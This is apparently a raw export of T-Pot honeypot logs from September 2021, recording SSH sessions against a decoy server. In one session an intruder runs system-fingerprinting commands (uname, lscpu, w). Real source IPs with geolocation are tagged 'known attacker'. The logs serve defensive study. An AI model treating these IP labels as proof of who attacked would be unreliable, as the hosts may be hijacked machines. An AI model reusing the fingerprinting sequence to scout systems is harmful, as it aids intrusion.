"voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31720	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.913167+03	2021-09-20 15:00:02.537717+03	{"_id": "-wYIA3wBvYTbRNuEQEVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:23.913167Z", "@timestamp": "2021-09-20T11:47:23.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31721	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.699572+03	2021-09-20 15:00:02.538719+03	{"_id": "_AYIA3wBvYTbRNuEQEVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "107.0.200.227", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.266218900680542, "duplicate": true, "timestamp": "2021-09-20T11:47:24.699572Z", "@timestamp": "2021-09-20T11:47:24.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31722	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.943373+03	2021-09-20 15:00:02.539717+03	{"_id": "_QYIA3wBvYTbRNuEREVT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:24.943373Z", "@timestamp": "2021-09-20T11:47:24.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31723	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:25.489611+03	2021-09-20 15:00:02.540718+03	{"_id": "_wYIA3wBvYTbRNuEREVU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:25.489611Z", "@timestamp": "2021-09-20T11:47:25.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31724	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:25.754946+03	2021-09-20 15:00:02.542716+03	{"_id": "AAYIA3wBvYTbRNuEREZU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "107.0.200.227", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.265949010848999, "duplicate": true, "timestamp": "2021-09-20T11:47:25.754946Z", "@timestamp": "2021-09-20T11:47:25.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31725	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.942837+03	2021-09-20 15:00:02.543717+03	{"_id": "_gYIA3wBvYTbRNuEREVT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:24.942837Z", "@timestamp": "2021-09-20T11:47:24.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31726	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:47:26.298267+03	2021-09-20 15:00:02.544717+03	{"_id": "BAYIA3wBvYTbRNuERkbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54898, "dest_port": 22, "timestamp": "2021-09-20T11:47:26.298267", "@timestamp": "2021-09-20T11:47:26.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31727	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.271302+03	2021-09-20 15:00:02.545718+03	{"_id": "CwYIA3wBvYTbRNuESEY8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "107.0.200.227", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26641106605529785, "duplicate": true, "timestamp": "2021-09-20T11:47:26.271302Z", "@timestamp": "2021-09-20T11:47:26.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31800	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.028223+03	2021-09-20 15:00:02.639716+03	{"_id": "swYIA3wBvYTbRNuEvUZ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.028223Z", "@timestamp": "2021-09-20T11:47:56.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31728	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:47:26.047662+03	2021-09-20 15:00:02.546716+03	{"_id": "DAYIA3wBvYTbRNuESEY8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:54898 (192.168.176.2:22) [session: bd6e198d0eed]", "session": "bd6e198d0eed", "@version": "1", "protocol": "ssh", "src_port": 54898, "dest_port": 22, "timestamp": "2021-09-20T11:47:26.047662Z", "@timestamp": "2021-09-20T11:47:26.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31729	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:26.004973+03	2021-09-20 15:00:02.548717+03	{"_id": "DwYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:26.004973Z", "@timestamp": "2021-09-20T11:47:26.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31730	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:47:26.048468+03	2021-09-20 15:00:02.549717+03	{"_id": "DgYIA3wBvYTbRNuESEY9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bd6e198d0eed", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:26.048468Z", "@timestamp": "2021-09-20T11:47:26.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31731	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:47:26.298267+03	2021-09-20 15:00:02.550717+03	{"_id": "FAYIA3wBvYTbRNuESUbT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:25.796746+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1926868169992266, "payload": "AAADzAYUxZIQcmnQDJrxzdjj78DlFQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54898, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:26.298267Z", "@timestamp": "2021-09-20T11:47:26.298Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........ri..............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31732	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.864264+03	2021-09-20 15:00:02.551718+03	{"_id": "4gYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:21.864264Z", "@timestamp": "2021-09-20T11:47:21.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31733	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.86479+03	2021-09-20 15:00:02.553716+03	{"_id": "4wYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:21.864790Z", "@timestamp": "2021-09-20T11:47:21.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31734	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.129226+03	2021-09-20 15:00:02.554717+03	{"_id": "5AYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "107.0.200.227", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2650425434112549, "duplicate": true, "timestamp": "2021-09-20T11:47:22.129226Z", "@timestamp": "2021-09-20T11:47:22.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31735	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.371965+03	2021-09-20 15:00:02.555716+03	{"_id": "5QYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:22.371965Z", "@timestamp": "2021-09-20T11:47:22.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31736	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.372509+03	2021-09-20 15:00:02.556716+03	{"_id": "5gYIA3wBvYTbRNuEOEWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:22.372509Z", "@timestamp": "2021-09-20T11:47:22.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
